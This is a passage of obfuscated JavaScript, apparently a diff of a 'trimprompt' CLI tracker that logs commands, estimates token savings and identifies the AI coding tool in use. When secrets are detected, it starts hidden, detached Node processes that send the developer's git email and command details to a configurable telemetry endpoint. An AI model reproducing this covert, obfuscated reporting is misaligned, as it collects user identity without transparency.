_0x4ff240=_0x1fce97[_0x543c17(0x11e)]('\x20')[0x0]||_0x543c17(0x131),_0x1bfe23=_0x2ddff8[_0x543c17(0x110)]?_0x2ddff8[_0x543c17(0x114)]?_0x2ddff8[_0x543c17(0x110)]+'-'+_0x2ddff8['modelShort']+'-'+_0x4ff240:_0x2ddff8[_0x543c17(0x110)]+'-'+_0x4ff240:_0x4ff240,_0x5c0298={'id':_0xbc1736,'timestamp':new Date()[_0x543c17(0x124)](),'command':_0x1bfe23,'raw_chars':_0x378e1f,'compressed_chars':_0x4b0a2c,'estimated_raw_tokens':_0x56edf5,'estimated_compressed_tokens':_0x25cb7e,'tokens_saved':_0x4fcdb0,'model_used':_0x5beb4a,'exit_code':_0x5685a5,'synced':![],'ai_detected':!!_0x2ddff8['tool'],'secrets_found':_0x259ac7?.[_0x543c17(0x104)]||0x0,'secret_types':_0x259ac7?.['secretTypes']||[],'features':_0x481379||[]};_0x4c26a9['push'](_0x5c0298),this['saveLogs'](_0x4c26a9);const _0x80b38e=this[_0x543c17(0x112)]()[_0x543c17(0x101)];return _0x80b38e&&_0x80b38e[_0x543c17(0x9b)]()[_0x543c17(0xf0)]>0x0&&this['triggerBackgroundSync'](),_0x259ac7&&_0x259ac7['secretsFound']>0x0&&this[_0x543c17(0xf8)](_0x5c0298,_0x259ac7),_0x5c0298;}[a0_0x14bc5d(0xf8)](_0x4abd0d,_0x59167d){const _0x1e6ef5=a0_0x14bc5d;try{let _0x1527c9=this['getConfig']()[_0x1e6ef5(0x101)]||'';if(!_0x1527c9)return;_0x1527c9=_0x1527c9[_0x1e6ef5(0x11f)](/\/api\/telemetry\/?$/,_0x1e6ef5(0x102));if(!_0x1527c9['includes']('/api/security/alert'))_0x1527c9+=_0x1e6ef5(0x102);const {execSync:_0x113aba}=require('child_process');let _0x2ed27d=_0x1e6ef5(0x131);try{_0x2ed27d=require(_0x1e6ef5(0xf2))[_0x1e6ef5(0xce)](_0x1e6ef5(0xb2),{'stdio':['ignore',_0x1e6ef5(0xe7),_0x1e6ef5(0xd7)]})['toString']()[_0x1e6ef5(0x9b)]();}catch{}if(!_0x2ed27d||!_0x2ed27d['includes']('@'))try{_0x2ed27d=require('os')[_0x1e6ef5(0xf5)]()[_0x1e6ef5(0x100)];}catch{}const _0x12cae5=JSON[_0x1e6ef5(0xf1)]({'developer_id':_0x2ed27d,'timestamp':_0x4abd0d[_0x1e6ef5(0xd6)],'command':_0x4abd0d[_0x1e6ef5(0x109)],'secrets_found':_0x59167d[_0x1e6ef5(0x104)],'secret_types':_0x59167d[_0x1e6ef5(0xbd)],'os':require('os')[_0x1e6ef5(0x127)]()}),_0x233d86='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request('+JSON[_0x1e6ef5(0xf1)](_0x1527c9)+_0x1e6ef5(0xb6)+JSON[_0x1e6ef5(0xf1)](_0x12cae5)+')',_0x13a982=(0x0,child_process_1[_0x1e6ef5(0x12d)])(process[_0x1e6ef5(0xb9)],['-e',_0x233d86],{'detached':!![],'stdio':'ignore'});_0x13a982[_0x1e6ef5(0x99)]();}catch{}}[a0_0x14bc5d(0xfb)](){const _0xfc2d4a=a0_0x14bc5d;try{const _0x5be76a=path[_0xfc2d4a(0xe5)](__dirname,_0xfc2d4a(0x12a));if(fs[_0xfc2d4a(0x122)](_0x5be76a)){const _0x2cb06e=(0x0,child_process_1[_0xfc2d4a(0x12d)])(process[_0xfc2d4a(0xb9)],[_0x5be76a],{'detached':!![],'stdio':_0xfc2d4a(0xd7)});_0x2cb06e['unref']();}}catch{}}[a0_0x14bc5d(0xc2)](_0x32b02d=a0_0x14bc5d(0x10a)){const _0xa7934b=a0_0x14bc5d,_0x3e77dc=this[_0xa7934b(0xec)]();let _0x3a246f=0x0,_0x3a7550=0x0,_0x5a69ad=0x0;for(const _0x493298 of _0x3e77dc){_0x3a246f+=_0x493298['estimated_raw_tokens'],_0x3a7550+=_0x493298[_0xa7934b(0xc6)],_0x5a69ad+=_0x493298[_0xa7934b(0xa7)];}let _0x9548f1=_0x32b02d;(!_0x9548f1||_0x9548f1===_0xa7934b(0x10a)||!exports[_0xa7934b(0xb3)][_0x9548f1])&&(_0x3e77dc[_0xa7934b(0xf0)]>0x0&&_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1]['model_used']?_0x9548f1=_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1][_0xa7934b(0xc3)]:_0x9548f1=this[_0xa7934b(0x112)]()['default_model']||_0xa7934b(0xab));const _0x22a620=exports[_0xa7934b(0xb3)][_0x9548f1]||exports[_0xa7934b(0xb3)]['claude-3-5-sonnet'],_0x204654=_0x5a69ad*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x3c600c=_0x3a246f*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x481b82=_0x3a7550*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x1e36eb=_0x3a246f>0x0?_0x5a69ad/_0x3a246f*0x64:0x0;return{'total_raw_tokens':_0x3a246f,'total_compressed_tokens':_0x3a7550,'total_tokens_saved':_0x5a69ad,'savings_percentage':parseFloat(_0x1e36eb[_0xa7934b(0xee)](0x1)),'money_saved_usd':parseFloat(_0x204654[_0xa7934b(0xee)](0x4)),'raw_cost_usd':parseFloat(_0x3c600c['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x481b82[_0xa7934b(0xee)](0x4)),'model_name':_0x22a620[_0xa7934b(0x128)],'model_key':_0x9548f1};}}exports[a0_0x14bc5d(0x11c)]=Tracker,exports[a0_0x14bc5d(0xc0)]=new Tracker();
1
+ 'use strict';const a0_0x1ec87d=a0_0x2723;(function(_0x52ce6b,_0x2e01c6){const _0x3d538c=a0_0x2723,_0x32f74b=_0x52ce6b();while(!![]){try{const _0x5e91da=-parseInt(_0x3d538c(0x1b8))/0x1+-parseInt(_0x3d538c(0x175))/0x2+-parseInt(_0x3d538c(0x1f4))/0x3*(parseInt(_0x3d538c(0x1e7))/0x4)+-parseInt(_0x3d538c(0x1f9))/0x5*(parseInt(_0x3d538c(0x206))/0x6)+-parseInt(_0x3d538c(0x17c))/0x7*(-parseInt(_0x3d538c(0x1e2))/0x8)+-parseInt(_0x3d538c(0x1e3))/0x9+-parseInt(_0x3d538c(0x1f6))/0xa*(-parseInt(_0x3d538c(0x1d7))/0xb);if(_0x5e91da===_0x2e01c6)break;else _0x32f74b['push'](_0x32f74b['shift']());}catch(_0x385b4f){_0x32f74b['push'](_0x32f74b['shift']());}}}(a0_0x42dd,0x1fefc));function a0_0x2723(_0x56400d,_0x57e2cb){const _0x42dd6f=a0_0x42dd();return a0_0x2723=function(_0x27233e,_0x177330){_0x27233e=_0x27233e-0x174;let _0x3404c8=_0x42dd6f[_0x27233e];return _0x3404c8;},a0_0x2723(_0x56400d,_0x57e2cb);}var __createBinding=this&&this[a0_0x1ec87d(0x1ad)]||(Object['create']?function(_0x6a14db,_0x3e781e,_0x3ae18e,_0x318bbe){const _0x9a9dd0=a0_0x1ec87d;if(_0x318bbe===undefined)_0x318bbe=_0x3ae18e;var _0x4ac3a9=Object[_0x9a9dd0(0x181)](_0x3e781e,_0x3ae18e);(!_0x4ac3a9||(_0x9a9dd0(0x1fb)in _0x4ac3a9?!_0x3e781e[_0x9a9dd0(0x1ea)]:_0x4ac3a9['writable']||_0x4ac3a9[_0x9a9dd0(0x1eb)]))&&(_0x4ac3a9={'enumerable':!![],'get':function(){return _0x3e781e[_0x3ae18e];}}),Object['defineProperty'](_0x6a14db,_0x318bbe,_0x4ac3a9);}:function(_0xbb3cdd,_0x233ac6,_0x23b5d9,_0x67a84c){if(_0x67a84c===undefined)_0x67a84c=_0x23b5d9;_0xbb3cdd[_0x67a84c]=_0x233ac6[_0x23b5d9];}),__setModuleDefault=this&&this[a0_0x1ec87d(0x1ef)]||(Object['create']?function(_0x450be3,_0x6d987b){Object['defineProperty'](_0x450be3,'default',{'enumerable':!![],'value':_0x6d987b});}:function(_0x1017ed,_0x1bedab){const _0x276bef=a0_0x1ec87d;_0x1017ed[_0x276bef(0x1ba)]=_0x1bedab;}),__importStar=this&&this['__importStar']||(function(){var _0x3d4651=function(_0x522cab){return _0x3d4651=Object['getOwnPropertyNames']||function(_0x3d8bf1){const _0x7c78f2=a0_0x2723;var _0x447b7d=[];for(var _0x581ae8 in _0x3d8bf1)if(Object[_0x7c78f2(0x1cd)][_0x7c78f2(0x204)][_0x7c78f2(0x1ac)](_0x3d8bf1,_0x581ae8))_0x447b7d[_0x447b7d['length']]=_0x581ae8;return _0x447b7d;},_0x3d4651(_0x522cab);};return function(_0x525a5e){const _0x53f0c8=a0_0x2723;if(_0x525a5e&&_0x525a5e[_0x53f0c8(0x1ea)])return _0x525a5e;var _0x38381f={};if(_0x525a5e!=null){for(var _0x2d4e72=_0x3d4651(_0x525a5e),_0x582ebe=0x0;_0x582ebe<_0x2d4e72['length'];_0x582ebe++)if(_0x2d4e72[_0x582ebe]!==_0x53f0c8(0x1ba))__createBinding(_0x38381f,_0x525a5e,_0x2d4e72[_0x582ebe]);}return __setModuleDefault(_0x38381f,_0x525a5e),_0x38381f;};}());Object[a0_0x1ec87d(0x1b6)](exports,a0_0x1ec87d(0x1ea),{'value':!![]}),exports[a0_0x1ec87d(0x191)]=exports[a0_0x1ec87d(0x20a)]=exports[a0_0x1ec87d(0x194)]=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x1ec87d(0x194)]={'claude-fable-5':{'name':a0_0x1ec87d(0x202),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1ec87d(0x203),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1ec87d(0x198),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1ec87d(0x1a4),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x1ec87d(0x1a7),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1ec87d(0x1fa),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x1ec87d(0x19f),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x1ec87d(0x182),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1ec87d(0x18a),'input_price_1m':0.8},'gpt-5-5':{'name':'GPT-5.5','input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1ec87d(0x1a3),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1ec87d(0x1af),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1ec87d(0x1cc),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x1ec87d(0x1de),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1ec87d(0x1c3),'input_price_1m':0.4},'gpt-4-1-nano':{'name':'GPT-4.1\x20Nano','input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x1ec87d(0x205),'input_price_1m':0xf},'o1-mini':{'name':a0_0x1ec87d(0x1d3),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1ec87d(0x186),'input_price_1m':1.1},'cursor-small':{'name':a0_0x1ec87d(0x1ed),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x1ec87d(0x1a0),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1ec87d(0x1e9),'input_price_1m':3.5}};function detectSessionTool(){const _0x38e4e6=a0_0x1ec87d,_0x1774d3=process[_0x38e4e6(0x1c7)],_0x482ab9={'tool':'','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x1d2)]&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1d2)]])return{'tool':'','model':_0x1774d3['TRIMPROMPT_MODEL'],'modelShort':''};const _0x357058=(_0x1774d3[_0x38e4e6(0x209)]||'')[_0x38e4e6(0x199)]();if(_0x357058){if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x189))||_0x357058['includes'](_0x38e4e6(0x207))){const _0x4217f8=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):'sonnet',_0x595abd=_0x1774d3['CLAUDE_EFFORT']==='high'?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x595abd,'modelShort':_0x4217f8};}if(_0x357058['includes']('cursor'))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':'sonnet'};if(_0x357058[_0x38e4e6(0x1b1)]('github-copilot')||_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x208))){const _0x5ceb31=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x5ceb31&&exports[_0x38e4e6(0x194)][_0x5ceb31])return{'tool':_0x38e4e6(0x208),'model':_0x5ceb31,'modelShort':_0x5ceb31[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':'claude-sonnet-4-5','modelShort':_0x38e4e6(0x1a8)};}if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x19d)))return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x357058[_0x38e4e6(0x1b1)]('codex'))return{'tool':_0x38e4e6(0x1e4),'model':_0x38e4e6(0x1fe),'modelShort':_0x38e4e6(0x1c8)};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x18e)))return{'tool':_0x38e4e6(0x18e),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x357058[_0x38e4e6(0x1b1)]('antigravity'))return{'tool':_0x38e4e6(0x18f),'model':'gemini-3-1-pro','modelShort':'gemini'};if(_0x357058[_0x38e4e6(0x1b1)](_0x38e4e6(0x1c5))||_0x1774d3[_0x38e4e6(0x1bf)])return{'tool':_0x38e4e6(0x1c5),'model':'claude-sonnet-4-6','modelShort':''};return{'tool':_0x357058[_0x38e4e6(0x178)]('_')[0x0][_0x38e4e6(0x178)]('-')[0x0],'model':_0x38e4e6(0x1df),'modelShort':''};}if(_0x1774d3[_0x38e4e6(0x19c)]==='1'||_0x1774d3['CLAUDE_CODE']==='1'){const _0x5810c1=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1a6):_0x38e4e6(0x1a8),_0x2830fe=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':_0x38e4e6(0x1aa),'model':_0x2830fe,'modelShort':_0x5810c1};}if(_0x1774d3['CURSOR_AGENT']==='1')return{'tool':_0x38e4e6(0x19e),'model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x1774d3['GEMINI_CLI']==='1')return{'tool':'gemini','model':'gemini-3-5-flash','modelShort':_0x38e4e6(0x1cb)};if(_0x1774d3[_0x38e4e6(0x1f2)]||_0x1774d3['COPILOT_GITHUB_TOKEN']){const _0x14285b=_0x1774d3[_0x38e4e6(0x1f2)]||'';if(_0x14285b&&exports[_0x38e4e6(0x194)][_0x14285b])return{'tool':'copilot','model':_0x14285b,'modelShort':_0x14285b[_0x38e4e6(0x178)]('-')[_0x38e4e6(0x1c1)]()||''};return{'tool':_0x38e4e6(0x208),'model':_0x38e4e6(0x1ae),'modelShort':_0x38e4e6(0x1a8)};}if(_0x1774d3[_0x38e4e6(0x1bf)]||_0x1774d3[_0x38e4e6(0x195)])return{'tool':'replit','model':'claude-sonnet-4-6','modelShort':''};if(_0x1774d3[_0x38e4e6(0x1ca)])return{'tool':_0x38e4e6(0x188),'model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3['CONTINUE_GLOBAL_DIR'])return{'tool':'continue','model':_0x38e4e6(0x1df),'modelShort':''};if(_0x1774d3[_0x38e4e6(0x196)]==='1')return{'tool':_0x38e4e6(0x18f),'model':_0x38e4e6(0x17e),'modelShort':'gemini'};if(_0x1774d3[_0x38e4e6(0x1b9)]){const _0x35d7e7=_0x1774d3[_0x38e4e6(0x1b9)]==='high'?_0x38e4e6(0x1a6):'sonnet',_0x346a5c=_0x1774d3[_0x38e4e6(0x1b9)]===_0x38e4e6(0x1da)?_0x38e4e6(0x1ff):_0x38e4e6(0x1df);return{'tool':'','model':_0x346a5c,'modelShort':''};}if(_0x1774d3['AIDER_MODEL']&&exports[_0x38e4e6(0x194)][_0x1774d3[_0x38e4e6(0x1e0)]])return{'tool':_0x38e4e6(0x1bc),'model':_0x1774d3[_0x38e4e6(0x1e0)],'modelShort':''};if(_0x1774d3[_0x38e4e6(0x193)]){const _0x5e665b=(_0x1774d3[_0x38e4e6(0x17f)]||'')[_0x38e4e6(0x199)]();if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x19e)))return{'tool':'cursor','model':_0x38e4e6(0x1df),'modelShort':'sonnet'};if(_0x5e665b[_0x38e4e6(0x1b1)](_0x38e4e6(0x201)))return{'tool':'windsurf','model':'claude-sonnet-4-6','modelShort':_0x38e4e6(0x1a8)};}const _0x3710a5=process['env']['TRIMPROMPT_MODEL']||'';if(_0x3710a5&&exports[_0x38e4e6(0x194)][_0x3710a5])return{'tool':'','model':_0x3710a5,'modelShort':''};return _0x482ab9;}let globalLogsMemoryCache=[];class Tracker{[a0_0x1ec87d(0x1b2)];[a0_0x1ec87d(0x1f1)];['statsPath'];['logsDir'];[a0_0x1ec87d(0x1d8)];constructor(){const _0x1a9da8=a0_0x1ec87d;this[_0x1a9da8(0x1b2)]=path[_0x1a9da8(0x1bb)](os['homedir'](),'.trimprompt'),this['configPath']=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x18c)),this[_0x1a9da8(0x174)]=path[_0x1a9da8(0x1bb)](this[_0x1a9da8(0x1b2)],'stats.json'),this[_0x1a9da8(0x1ec)]=path['join'](this[_0x1a9da8(0x1b2)],_0x1a9da8(0x184)),this[_0x1a9da8(0x19b)]();}[a0_0x1ec87d(0x19b)](){const _0x36ce0f=a0_0x1ec87d;!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1b2)])&&fs[_0x36ce0f(0x1c4)](this['baseDir'],{'recursive':!![]});!fs[_0x36ce0f(0x1b5)](this['logsDir'])&&fs[_0x36ce0f(0x1c4)](this[_0x36ce0f(0x1ec)],{'recursive':!![]});const _0x4ad6c7={'version':_0x36ce0f(0x1db),'telemetry_url':process[_0x36ce0f(0x1c7)][_0x36ce0f(0x1d4)]||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x36ce0f(0x1ff)};if(fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x1f1)]))try{const _0x14be0f=fs[_0x36ce0f(0x1dc)](this[_0x36ce0f(0x1f1)],_0x36ce0f(0x1b4));this[_0x36ce0f(0x1d8)]={..._0x4ad6c7,...JSON['parse'](_0x14be0f)};}catch(_0x4dbf8c){this[_0x36ce0f(0x1d8)]=_0x4ad6c7;}else this[_0x36ce0f(0x1d8)]=_0x4ad6c7,this[_0x36ce0f(0x1b0)]();!fs[_0x36ce0f(0x1b5)](this[_0x36ce0f(0x174)])&&fs[_0x36ce0f(0x1cf)](this[_0x36ce0f(0x174)],JSON[_0x36ce0f(0x1ab)]([]),_0x36ce0f(0x1b4));}[a0_0x1ec87d(0x1d9)](){const _0x288c4a=a0_0x1ec87d;return process['env']['TRIMPROMPT_TELEMETRY_URL']&&(this[_0x288c4a(0x1d8)][_0x288c4a(0x1e6)]=process[_0x288c4a(0x1c7)]['TRIMPROMPT_TELEMETRY_URL']),this[_0x288c4a(0x1d8)];}[a0_0x1ec87d(0x1f3)](_0x2380c0,_0x5ba9c5){const _0x6a6828=a0_0x1ec87d;this[_0x6a6828(0x1d8)][_0x2380c0]=_0x5ba9c5,this[_0x6a6828(0x1b0)]();}[a0_0x1ec87d(0x1b0)](){const _0x1c7c5f=a0_0x1ec87d;fs[_0x1c7c5f(0x1cf)](this[_0x1c7c5f(0x1f1)],JSON[_0x1c7c5f(0x1ab)](this[_0x1c7c5f(0x1d8)],null,0x2),_0x1c7c5f(0x1b4));}[a0_0x1ec87d(0x17a)](){const _0x34eee7=a0_0x1ec87d;try{if(!fs[_0x34eee7(0x1b5)](this[_0x34eee7(0x174)]))return globalLogsMemoryCache;const _0x361712=fs[_0x34eee7(0x1dc)](this[_0x34eee7(0x174)],'utf8'),_0x331cd7=JSON['parse'](_0x361712);if(Array[_0x34eee7(0x1d5)](_0x331cd7)&&_0x331cd7[_0x34eee7(0x1a1)]>=globalLogsMemoryCache['length'])return globalLogsMemoryCache=_0x331cd7,_0x331cd7;}catch{}return globalLogsMemoryCache;}[a0_0x1ec87d(0x1fc)](_0x5cadc5){const _0x3256bc=a0_0x1ec87d;globalLogsMemoryCache=_0x5cadc5;const _0x39c4f4=this[_0x3256bc(0x174)]+_0x3256bc(0x1f5);try{fs['writeFileSync'](_0x39c4f4,JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),_0x3256bc(0x1b4)),fs[_0x3256bc(0x18b)](_0x39c4f4,this[_0x3256bc(0x174)]);}catch{try{fs[_0x3256bc(0x1cf)](this[_0x3256bc(0x174)],JSON[_0x3256bc(0x1ab)](_0x5cadc5,null,0x2),'utf8');}catch{}}}['logExecution'](_0x3fee5d,_0x557127,_0x4d2cfd,_0x35837e,_0x7abd25,_0x41870f){const _0x528e2a=a0_0x1ec87d,_0x2a5a15=this[_0x528e2a(0x17a)](),_0x57452a=_0x557127[_0x528e2a(0x1a1)],_0x11e1a1=_0x4d2cfd[_0x528e2a(0x1a1)],_0x199d9c=Math[_0x528e2a(0x176)](_0x57452a/0x4),_0x19c5ef=Math['ceil'](_0x11e1a1/0x4),_0x5c7a7f=Math['max'](0x0,_0x199d9c-_0x19c5ef),_0x1069b7=detectSessionTool(),_0x369fc5=_0x1069b7[_0x528e2a(0x1bd)],_0x2a60f8=Math[_0x528e2a(0x180)]()['toString'](0x24)['substring'](0x2,0xb);try{const {redactor:_0x5509fd}=require(_0x528e2a(0x187)),_0x17b740=_0x5509fd?_0x5509fd[_0x528e2a(0x183)](_0x557127):_0x557127;fs[_0x528e2a(0x1cf)](path[_0x528e2a(0x1bb)](this['logsDir'],_0x2a60f8+_0x528e2a(0x1a5)),_0x17b740,'utf8'),fs[_0x528e2a(0x1cf)](path['join'](this['logsDir'],_0x2a60f8+_0x528e2a(0x179)),_0x4d2cfd,'utf8');}catch{}const _0x543ec3=_0x3fee5d['split']('\x20')[0x0]||_0x528e2a(0x1c2),_0xfba79b=_0x1069b7[_0x528e2a(0x1ce)]?_0x1069b7[_0x528e2a(0x1a9)]?_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x1069b7[_0x528e2a(0x1a9)]+'-'+_0x543ec3:_0x1069b7[_0x528e2a(0x1ce)]+'-'+_0x543ec3:_0x543ec3,_0x4b9466={'id':_0x2a60f8,'timestamp':new Date()[_0x528e2a(0x17d)](),'command':_0xfba79b,'raw_chars':_0x57452a,'compressed_chars':_0x11e1a1,'estimated_raw_tokens':_0x199d9c,'estimated_compressed_tokens':_0x19c5ef,'tokens_saved':_0x5c7a7f,'model_used':_0x369fc5,'exit_code':_0x35837e,'synced':![],'ai_detected':!!_0x1069b7[_0x528e2a(0x1ce)],'secrets_found':_0x7abd25?.['secretsFound']||0x0,'secret_types':_0x7abd25?.[_0x528e2a(0x1b7)]||[],'features':_0x41870f||[]};_0x2a5a15[_0x528e2a(0x1d6)](_0x4b9466),this['saveLogs'](_0x2a5a15);const _0x52b180=this[_0x528e2a(0x1d9)]()[_0x528e2a(0x1e6)];return _0x52b180&&_0x52b180[_0x528e2a(0x1f8)]()[_0x528e2a(0x1a1)]>0x0&&this[_0x528e2a(0x1e1)](),_0x7abd25&&_0x7abd25[_0x528e2a(0x20b)]>0x0&&this[_0x528e2a(0x20c)](_0x4b9466,_0x7abd25),_0x4b9466;}[a0_0x1ec87d(0x18d)]=null;[a0_0x1ec87d(0x1e5)](){const _0x1b6b45=a0_0x1ec87d;if(this['cachedDevId'])return this[_0x1b6b45(0x18d)];try{const _0x37e017=require(_0x1b6b45(0x1d1))[_0x1b6b45(0x1fd)]('git\x20config\x20user.email',{'stdio':[_0x1b6b45(0x1e8),_0x1b6b45(0x190),_0x1b6b45(0x1e8)],'windowsHide':!![]})['toString']()[_0x1b6b45(0x1f8)]();if(_0x37e017&&_0x37e017[_0x1b6b45(0x1b1)]('@'))return this['cachedDevId']=_0x37e017,_0x37e017;}catch{}try{const _0x188b54=require('os')[_0x1b6b45(0x1ee)]()[_0x1b6b45(0x17b)];return this['cachedDevId']=_0x188b54,_0x188b54;}catch{}return this[_0x1b6b45(0x18d)]=_0x1b6b45(0x1c2),_0x1b6b45(0x1c2);}['sendSecurityAlert'](_0x1bd2f2,_0x11e584){const _0x2a33f3=a0_0x1ec87d;try{let _0x561f0e=this[_0x2a33f3(0x1d9)]()[_0x2a33f3(0x1e6)]||'';if(!_0x561f0e)return;_0x561f0e=_0x561f0e['replace'](/\/api\/telemetry\/?$/,'/api/security/alert');if(!_0x561f0e[_0x2a33f3(0x1b1)](_0x2a33f3(0x1be)))_0x561f0e+=_0x2a33f3(0x1be);const _0x1232b5=this[_0x2a33f3(0x1e5)](),_0x10b7ff=JSON[_0x2a33f3(0x1ab)]({'developer_id':_0x1232b5,'timestamp':_0x1bd2f2['timestamp'],'command':_0x1bd2f2[_0x2a33f3(0x192)],'secrets_found':_0x11e584['secretsFound'],'secret_types':_0x11e584['secretTypes'],'os':require('os')['platform']()}),_0x1d4b05='const\x20h=require(require(\x27url\x27).parse('+JSON[_0x2a33f3(0x1ab)](_0x561f0e)+_0x2a33f3(0x1f0)+JSON['stringify'](_0x561f0e)+_0x2a33f3(0x197)+JSON[_0x2a33f3(0x1ab)](_0x10b7ff)+')',_0x50b1b4=(0x0,child_process_1[_0x2a33f3(0x1f7)])(process['execPath'],['-e',_0x1d4b05],{'detached':!![],'stdio':'ignore','windowsHide':!![]});_0x50b1b4[_0x2a33f3(0x177)]();}catch{}}['triggerBackgroundSync'](){const _0x59e8e7=a0_0x1ec87d;try{const _0x5e6ca3=path[_0x59e8e7(0x1bb)](__dirname,_0x59e8e7(0x1c9));if(fs[_0x59e8e7(0x1b5)](_0x5e6ca3)){const _0x1ec188=(0x0,child_process_1[_0x59e8e7(0x1f7)])(process[_0x59e8e7(0x1c6)],[_0x5e6ca3],{'detached':!![],'stdio':_0x59e8e7(0x1e8),'windowsHide':!![]});_0x1ec188[_0x59e8e7(0x177)]();}}catch{}}[a0_0x1ec87d(0x185)](_0x44d4d8=a0_0x1ec87d(0x200)){const _0x48f47a=a0_0x1ec87d,_0x4f46d3=this['getLogs']();let _0x341f23=0x0,_0x1c2501=0x0,_0x535210=0x0;for(const _0x1d0db4 of _0x4f46d3){_0x341f23+=_0x1d0db4['estimated_raw_tokens'],_0x1c2501+=_0x1d0db4[_0x48f47a(0x19a)],_0x535210+=_0x1d0db4[_0x48f47a(0x1dd)];}let _0x238f7a=_0x44d4d8;(!_0x238f7a||_0x238f7a===_0x48f47a(0x200)||!exports[_0x48f47a(0x194)][_0x238f7a])&&(_0x4f46d3[_0x48f47a(0x1a1)]>0x0&&_0x4f46d3[_0x4f46d3['length']-0x1][_0x48f47a(0x1d0)]?_0x238f7a=_0x4f46d3[_0x4f46d3['length']-0x1]['model_used']:_0x238f7a=this[_0x48f47a(0x1d9)]()['default_model']||'claude-3-5-sonnet');const _0x7c624b=exports[_0x48f47a(0x194)][_0x238f7a]||exports[_0x48f47a(0x194)][_0x48f47a(0x1a2)],_0x15e0c0=_0x535210*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x5f81b2=_0x341f23*_0x7c624b['input_price_1m']/0xf4240,_0xab0837=_0x1c2501*_0x7c624b[_0x48f47a(0x1c0)]/0xf4240,_0x48def5=_0x341f23>0x0?_0x535210/_0x341f23*0x64:0x0;return{'total_raw_tokens':_0x341f23,'total_compressed_tokens':_0x1c2501,'total_tokens_saved':_0x535210,'savings_percentage':parseFloat(_0x48def5['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x15e0c0[_0x48f47a(0x1b3)](0x4)),'raw_cost_usd':parseFloat(_0x5f81b2['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0xab0837[_0x48f47a(0x1b3)](0x4)),'model_name':_0x7c624b['name'],'model_key':_0x238f7a};}}exports['Tracker']=Tracker,exports[a0_0x1ec87d(0x191)]=new Tracker();function a0_0x42dd(){const 